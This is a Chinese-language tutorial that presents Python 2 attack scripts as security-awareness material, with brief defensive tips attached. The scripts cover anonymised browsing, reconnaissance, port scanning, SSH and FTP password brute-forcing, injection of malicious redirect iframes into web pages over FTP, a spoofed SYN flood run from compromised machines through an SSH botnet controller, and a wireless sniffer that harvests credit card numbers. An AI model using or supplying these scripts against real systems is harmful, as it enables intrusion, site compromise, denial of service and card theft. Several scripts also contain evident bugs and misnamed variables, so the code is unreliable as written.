网络如此发达的今天,攻击无处不在,而每一次攻击的成功往往造成信息的泄漏,严重者甚至带来经济的损失。所以作为技术人员,我们每个人都应该懂一点攻防;这样做虽然无法做到完全保护个人隐私,但对增强个人安全意识还是有帮助的。
可能大家会觉得攻防是一件很神秘且需要高深技术的事(PS:事实也是如此,因为其通常涉及隐私,大家肯定不会天天将隐私挂在嘴边),但我们的目的不是成为 Hacker,当然也不是成为脚本小子,而是了解在复杂的网络环境中如何保护自己,让自己不至于成天在互联网的世界里裸奔而不自知。
想要了解攻防,我们首先得选择自己的语言工具,Python 语法简单、第三方库丰富十分适合作为我们的首选语言(本文例子将采用 Python 2.x 语法书写)。Mac 上便自带了 Python,当然我们可以搭建更专业的系统,BackTrack 就是不错的选择,该系统提供了大量用于网络分析、渗透测试、无线攻击等的工具。
既然工具已有,接下来我们逐步探索攻击者在网络中都会做些什么?
一个优秀的攻击者在发起攻击时首先都会隐匿个人行踪!大家知道,在访问网站时我们会用到 Web 浏览器,而通过浏览器跟目标网站交互时会有很多手段记录使用者的信息,如:IP、User-Agent、Cookie 等。专业的攻击者需要抹去这些信息,让被访问网站不知道自己是谁;这里我们不通过 Web 浏览器,而是直接使用 mechanize 库来访问网站,我们需要:
通过 VPN、Tor 网络或代理服务器匿名 IP(获取代理)
import mechanize def hideIp(url, proxy): browser = mechanize.Browser() # 创建浏览器对象 browser.set_proxies(proxy) # 此处使用代理隐匿 page = browser.open(url) # 打开网址 source_code = page.read() # 读取网页内容 print source_code # 输出内容 url = 'xxxxx' hideProxy = {'http': 'xxx.xxx.xxx.xxx:xxxx'} hideIp(url, hideProxy)
直接伪造 UA 隐匿 User-Agent 相关信息(有效 UA 串)
import mechanize def hideUA(url, userAgent): browser = mechanize.Browser() # 创建浏览器对象 browser.addheaders = userAgent # 修改 UA 头部信息 page = browser.open(url) # 打开网址 source_code = page.read() # 读取网页内容 print source_code # 输出内容 url = 'xxxxx' userAgent = [('User-agent', 'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')] hideIp(url, hideProxy)
清除浏览器 Cookie 后继续访问地址(用 Python 核心库 Cookielib 即可实现)
import mechanize, cookielib def hideCookie(url, cookieJar): browser = mechanize.Browser() # 创建浏览器对象 browser.set_cookiejar(cookieJar) # 修改 Cookie page = browser.open(url) # 打开网址 source_code = page.read() # 读取网页内容 print source_code # 输出内容 url = 'xxxxx' cookie_jar = cookielib.LWPCookieJar() hideIp(url, cookie_jar)
为方便后续进行信息收集,我们将隐匿代码整合形成 safeBrowser 类:
import mechanize, cookielib, random class safeBrowser(mechanize.Browser): def __init__(self, proxies = [], user_agents = []): # 初始化 mechanize.Browser.__init__(self) self.set_handle_robots(False) self.proxies = proxies self.user_agents = user_agents + ['Mozilla/4.0 FireFox/6.01', 'ExactSearch', 'Nokia7110/1.0'] self.cookie_jar = cookielib.LWPCookieJar() self.set_cookiejar(self.cookie_jar) self.anonymize() def chear_cookies(self): # 清理 cookie self.cookie_jar = cookielib.LWPCookieJar() self.set_cookiejar(self.cookie_jar) def change_user_agent(self): # 修改 UA index = random.randrange(0, len(self.user_agents)) self.addheaders = [('User-agent', (self.user_agents[index]))] def change_proxy(self): # 修改代理 if self.proxies: index = random.randrange(0, len(self.proxies)) self.set_proxies({'http': self.proxies[index]}) def anonymize(self, sleep = False): self.chear_cookies() self.change_user_agent() self.change_proxy() if sleep: # 进程休眠,控制两次请求之间时间间隔,可以有效降低服务器认为是同一行为的可能性 time.sleep(60)
当然,隐匿的手法还有很多很多(TTL 伪造、fast-flux、domain-flux 等),此处就不再一一赘述。
在隐匿了个人行踪后,攻击者会从社会工程学的角度获取跟攻击对象相关的一切信息(如:拥有权限的人、横向安全性弱的系统等),因为越全面的信息越能帮助攻击取得成功;当然也不排除攻击者为了进行无差别攻击而进行的信息收集(如:资源爬虫、网络诈骗等)。
一般想到信息收集,大家第一反应肯定是 google 或 baidu 一下,搜索引擎确实能帮我们找到很多有用的信息,不过如果手动搜索效率会比较低,好在此类引擎都有提供搜索接口供使用,以 google 为例:
import json, urllib from safeBrowser import * # 引入上面定义的 safeBrowser 类 def getInfo(search_key): browser = safeBrowser() search_key = urllib.quote_plus(search_key) # 编码搜索关键字 res = browser.open('http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=' + search_key) resObj = json.load(res) # json 格式化数据 print resObj getInfo('test')
如此,我们便可通过关键字获取到相关信息的一个 JSON 对象,如果只需要某部分信息再对对象做精确解析即可。
有时候获取目标群体在某些社交平台发布的信息也很重要,如 Twitter 平台,此类平台也会提供供开发者使用的 API,如我们想获取某人在 Twitter 上发布的信息:
import json, urllib from safeBrowser import * class reconPerson: def __init__(self, first_name, last_name, job='', social_media={}): self.firset_name = firset_name self.last_name = last_name self.job = job self.social_media = social_media def __repr__(self): return self.firset_name + ' ' + self.last_name + ' has job ' + self.job def get_social(self, media_name): if self.social_media.has_key(media_name): return self.social_media[media_name] return None def query_twitter(self, search_key): search_key = urllib.quote_plus(search_key) browser = safeBrowser() res = browser.open('http://search.twitter.com/serarch.json?q=' + query) resObj = json.load(response) return resObj recon = reconPerson('xxx', 'xxx') print recon.query_twitter('from:xxx since: 2022-03-14 include: xxx')
除了上面这些信息,其他信息也很重要,如:目标公司对应的公网 ip、法人信息等、ip 对应的 mac 地址,此类信息网上有很多平台可以查询到(如:企查查),大家可自行上网搜索。
在攻击者掌握了相关信息后,下一步就是发起攻击了,这也是大家最关心的一步;下面我们来看几种常见的攻击手法。
假设我们现在只知道目标服务器的 IP,此时我们想要发起攻击就需要知道更多的信息,如:开放的端口、使用的服务器相关信息等。如果我们发现服务器上开放了某些不安全端口或部署的服务是某个存在漏洞的版本,便可直接发起攻击。侦查脚本如:
import optparse # 命令行参数解析 import socket # BSD 嵌套字访问 from socket import * from threading import Thread # 多线程 def connScan(host, port): # 执行扫描 try: conn = socket(AF_INET, SOCK_STREAM) conn.connect((host, port)) # 连接服务 conn.send('xxx\r\n') # 发送数据以获取服务器响应 res = conn.recv(100) # 获取响应前 100 字符 print '[+]%d/tcp open' %port print '[+] ' + str(res) except: print '[-]%d/tcp closed' %port def protScan(host, ports): try: ip = gethostbyname(host) # 根据 host 获取 ip except: print "[-] Cannot resolve '%s': Unknown host" %host return try: name = gethostbyaddr(ip) # 获取主机信息 print '\n[+] Scan Results for: ' + name[0] except: print '\n[+] Scan Results for: ' + ip setdefaulttimeout(1) # 设置超时,防止响应时间过长导致程序卡住 for port in ports: print 'Scanning port ' + port thr = Thread(target=connScan, args=(host, int(port))) # 开启多线程扫描 thr.start() def main(): # 定义参数 parser = optparse.OptionParser("usage%prog -H-P ") parser.add_option('-H', dest='host', type='string', help='target host') parser.add_option('-P', dest='port', type='string', help='target port[s]') # 参数解析 (options, args) = parser.parse_args() host = options.host ports = str(options.port).split(',') if (host == None) | (ports[0] == None): print '[-] You must specify a target host and port[s].' exit(0) portScan(host, ports) if __name__ == '__main__': main()
如此,我们便可通过简单的指令完成对目标的侦查:python portScan.py -H xx.xx.xx.xx -P 21,80,443。当然我们有更方便的工具库来做侦查:python-nmap,可以解放我们手动定义脚本侦查过程。
上面的侦查方法有时候能直接找到系统漏洞,然而我们更希望的是能直接获取更高权限(如:在连接服务器后直接执行指令),在弱口令机器上我们可直接通过撞库的形式来尝试破解口令。我们需要注意:通常进行 SSH 连接时会存在交互过程,比如输入 SSH user@host 后会让我们先确认 RSA,确认后再要求输入密码,我们可以需要采用 Pexpect 或 Pxssh 库来完成整个交互&撞库过程:
import pxssh import optparse import time # 时间控制 from threading import * maxConnections = 5 connection_lock = BoundedSemaphore(value=maxConnections) # 连接加锁,防止结果乱序 Found = False Fails = 0 def send_command(s, cmd): # 撞库成功后向服务器发送指令 s.sendline(cmd) s.prompt() print s.before def conn(host, user, password, release): # 发起连接 global Found global Fails try: s = pxssh.pxssh() s.login(host, user, password) print '[+] Password Found: ' + password Found = True except Exception, e: if 'read_nonblocking' in str(e): # SSH 服务器被大量连接刷爆,过一段时间重新发起 Fails += 1 time.sleep(5) # 手动延迟 conn(host, user, password, False) elif 'synchronize with original prompt' in str(e): # pxssh 命令提示符提取困难,过一会重新发起 time.sleep(1) # 手动延迟 conn(host, user, password, False) finally: if release: connection_lock.release() # 释放锁 def main(): # 定义参数 parser = optparse.OptionParser("usage%prog -H-u -F ") parser.add_option('-H', dest='host', type='string', help='target host') parser.add_option('-u', dest='user', type='string', help='the user') parser.add_option('-F', dest='passwordFile', type='string', help='password file') # 密码字典 # 参数解析 (options, args) = parser.parse_args() host = options.host user = options.user passwordFile = options.passwordFile if host == None or passwordFile == None or user == None: print parser.usage exit(0) fn = open(passwordFile, 'r') # 打开密码字典 for line in fn.readlines(): if Found: # 找到密码 print "[*] Exiting: Password Found" exit(0) if Fails > 10: # 超时过多 print "[!] Exiting: Too Many Socket Timeouts" exit(0) connection_lock.acquire() # 线程加锁 password = line.strip('\r').strip('\n') # 取密码库中的一行数据 t = Thread(target=conn, args=(host, user, password, True)) child = t.start() if __name__ == '__main__': main()
现在只要有“密码字典”便可直接发起撞库攻击(攻击者都会有自己的密码字典),一旦撞库成功便可通过 send_command 方法发起可执行指令。撞库不仅可以用来暴力破解服务器口令,还可以用来破解加密文件、用户密码等数据。
所以我们平时在设置密码时不同网站应采用不同密码,且尽可能使密码的熵值更高!
由于我们的暴力破解会不断的向服务端发送登陆指令,如果目标服务器上部署了 IDS(入侵检测系统)还是很容易发现的,通过 IPS(入侵防御系统)便可直接阻止攻击。
聪明的猎手往往更喜欢守株待兔,通过攻击某些存在漏洞的网站或直接构造一个带病毒网站,等待用户访问。一旦用户发起访问,便可以使用反向连接访问者主机开启连接后门或种入病毒继续传播等方式使其为攻击者所用。假设攻击者针对 FTP 服务发起攻击:
import ftplib import optparse import time def anonLogin(hostname): # FTP 允许匿名访问时随便伪造一个用户登陆 try: ftp = ftp.FTP(hostname) ftp.login('anonymous', '[email protected]') print '\n[*] ' + str(hostname) + ' FTP Anonymous Login Succeeded.' ftp.quit() return True except Exception, e: print '\n[-] ' + str(hostname) + ' FTP Anonymous Login Failed.' return False def bruteLogin(hostname, passwordFile): # FTP 不允许匿名登陆,采用前面用过的暴力破解 file = open(passwordFile, 'r') for line in file.readlines(): time.sleep(1) userName = line.split(':')[0] passWord = line.split(':')[1].strip('\r').strip('\n') print '[+] Trying: ' + userName + '/' + passWord try: ftp = ftplib.FTP(hostname) ftp.login(userName, passWord) print '\n[*] ' + str(hostname) + 'FTP Login Succeeded: ' + userName + '/' + passWord ftp.quit() return (userName, passWord) except Exception, e: pass print '\n[-] Could not brute force FTP credentials.' return (None, None) def returnDefault(ftp): # 找出 FTP 服务器上部署的所有 .php、.html、.asp 文件 try: dirList = ftp.nlst() except: dirList = [] print '[-] Could not list directory contents.' print '[-] Skipping To Next Target.' return retList = [] for fileName in dirList: fn = fileName.lower() if '.php' in fn or '.html' in fn or '.asp' in fn: print '[+] Found default page: ' + fileName retList.append(fileName) return retList def injectPage(ftp, page, redirect): # 将找出的文件下载并写入重定向地址后重新上传,等待用户访问重定向后的恶意页面 f = open(page + '.tmp', 'w') ftp.retrlines('RETR ' + page, f.write) print '[+] Downloaded Page: ' + page f.write(redirect) f.close() print '[+] Injected Malicious IFrame on: ' + page ftp.storlines('STOR ' + page, open(page + '.tmp')) print '[+] Uploaded Injected Page: ' + page def attact(username, password, tgtHost, redirect): # 攻击执行 ftp = ftplib.FTP(tgtHost) ftp.login(username, password) defPages = returnDefault(ftp) for defPage in defPages: injectPage(ftp, defPage, redirect) def main(): # 定义参数 parser = optparse.OptionParser("usage%prog -H-r [-f ]") parser.add_option('-H', dest='hosts', type='string', help='target hosts') parser.add_option('-r', dest='redirect', type='string', help='redirection page') parser.add_option('-f', dest='passwordFile', type='string', help='user/password file') # 密码字典 # 参数解析 (options, args) = parser.parse_args() hosts = options.host redirect = options.redirect passwordFile = options.passwordFile if hosts == None or redirect == None: print parser.usage exit(0) for tgtHost in hosts: username = None password = None if anonLogin(tgtHost) == True: username = anonymous password = '[email protected]' print '[+] Using Anonymous Creds to attack' attack(username, password, tgtHost, redirect) elif passwordFile != None: (username, password) = bruteLogin(tgtHost, passwordFile) if password != None: print '[+] Using Creds: ' + username + '/' + password + 'to attack' attack(username, password, tgtHost, redirect) if __name__ == '__main__': main()
Metasploit 可以帮助快速创建恶意服务器和页面(可建立反向 SSH 连接),也就是我们需要的 redirect。这样我们一旦攻破某个服务器上的 FTP 服务,便可守株待兔等待用户访问,用户发起访问后便可进行病毒传播和主机控制。
所以建议大家平时不要访问一些明显会有病毒的网页,意外的打开也需立刻关闭。
前面的病毒感染可以使我们的主机被攻击者抓取变成供其使用的“肉机”,拥有肉机的攻击者可以指挥肉机发起 DDos 等攻击,使目标站点无法响应等。我们采用 Scapy 来构造报文(其他网络攻击只需根据攻击特性伪造对应报文即可)并指挥肉机发起一个 SYN 泛洪攻击:
在肉机中植入攻击脚本:
from scapy.all import * def synFlood(src, tgt): for sport in range(1024, 65535): IPlayer = IP(src=src, dst=tgt) TCPlayer = TCP(sport=sport, dport=513) pkt = IPlayer / TCPlayer send(pkt) src="xxxxx" tgt="xxxxx" synFlood(src, tgt)
连接肉机执行命令:
import optparse import Pxssh btoNet = [] class Client: def __init__(self, host, user, password): # 初始化 self.host = host self.user = user self.password = password self.session = self.conn() def conn(self): # 连接机器 try: s = pxssh.pxssh() s.login(self.host, self.user, self.password) return s except Exception, e: print e print '[-] Error Connecting' def send_command(self, cmd): # 发送命令 self.session.sendline(cmd) self.session.prompt() return self.session.before def botnetCommand(cmd): for client in botNet: output = client.send_command(cmd) def addClient(host, user, password): client = Client(host, user, password) botNet.append(client) addClient('xxxxx', 'xx', 'xx') # 添加肉机 addClient('xxxxx', 'xx', 'xx') addClient('xxxxx', 'xx', 'xx') addClient('xxxxx', 'xx', 'xx') botnetCommand('python synFlood.py') # 使肉机批量执行命令
为了避免自己主机被抓取当成肉机,定期的全盘病毒扫描是有意义的。
攻击者还可以通过直接窃听无线信号后进行攻击,比如监听 802.11 协议簇(IEEE 为无线局域网络制定的标准),一旦有用户连接上攻击者提供的免费无线局域网,在其中发送的信息就会容易被窃取。
aircrack-ng 可以帮助攻击者破解无线 802.11 WEP 和 WAP-PSK 加密,结合混杂模式(如:airmon-ng start wlan0 将无线网卡 wlan0 改为混杂模式)下的嗅探网卡(如:CSR 公司的芯片组)便可对信息进行嗅探。同样我们使用 Scapy 进行嗅探和分析。
import re # 正则库 import optparse from scapy.all import * def findCreditCard(pkt): # 匹配报文中的卡号信息 row = pkt.sprintf('%Row.load%') americaRE = re.findall('3[47][0-9]{13}', row) if americaRE: print '[+] Found American Express Card: ' + americaRE[0] def main(): parser = optparse.OptionParser("usage%prog -i") parser.add_option('-i', dest='interface', type='string', help='interface to listen on') (options, args) = parser.parse_args() if options.interface == None: print parser.usage exit(0) else: conf.iface = options.interface # 绑定嗅探用网卡 try: print '[*] Starting Credit Card Sniffer.' sniff(filter='tcp', prn=findCreditCard, store=0) # 只嗅探 tcp 报文 except: exit(0) if __name__ == '__main__': main()
从这里可以看出,如果连接到一些免费公开的局域网时,可能会面临被攻击的风险。而且无线攻击能做到的远不止示例说写,它还能看到你去过哪里、使用的什么设备、发送过什么敏感信息,甚至在破解某些交互协议后能做到控制汽车、无人机等。
为了避免信息泄露,请不要随意连接未知无线网络。
通过不断的学习,大家都可以具备攻击能力;但我们要强调的是:请严格遵守国家的法律法规,切勿心生歹念,常在河边走,哪有不湿鞋!只要攻击者在网络中留下蛛丝马迹,就会存在被溯源发现的风险,如:
某些文件元数据中可能会记录使用者的相关信息,我们可能听过:
我们来看一个取证的例子:通过 Dpkt 流量分析工具解析服务器上接收到的数据包,从数据包中获取 ip 地址,最后通过 GeoLiteCity 查询到对应的坐标:
import dpkt # 流量分析工具,功能类似前面用到的 scapy import pygeoip # ip 转坐标 import socket gi = pygeoip.GeoIP('/opt/GeoIP/Geo.dat') def getRecord(tgt): rec = gi.record_by_name(tgt) city = rec['city'] # 城市 region = rec['region_name'] # 地区 country = rec['country_name'] long = rec['longitude'] # 经度 lat = rec['latitude'] # 纬度 return str(city) + ',' + str(region) + ',' + str(country) + '[Latitude:' + str(lat) + 'Longitude:' + str(long) + ']' def printPcap(pcap): for (ts, buf) in pcap: try: eth = dpkt.ethernet.Ethernet(buf) ip = eth.data src = scoket.inet_ntoa(ip.src) dst = scoket.inet_ntoa(ip.dst) print '[+] Src:' + getRecord(src) + ' ---> Dst:' + getRecord(dst) except: pass def main(): f = open('test.pcap') # 打开 test.pcap 报文 pcap = dpkt.pcap.Reader(f) # 读取报文 printPcap(pcap) def __name__ == '__main__': main()
至此,我们对常见攻击应该有了大致认识,最后推荐一些安全学习的网址: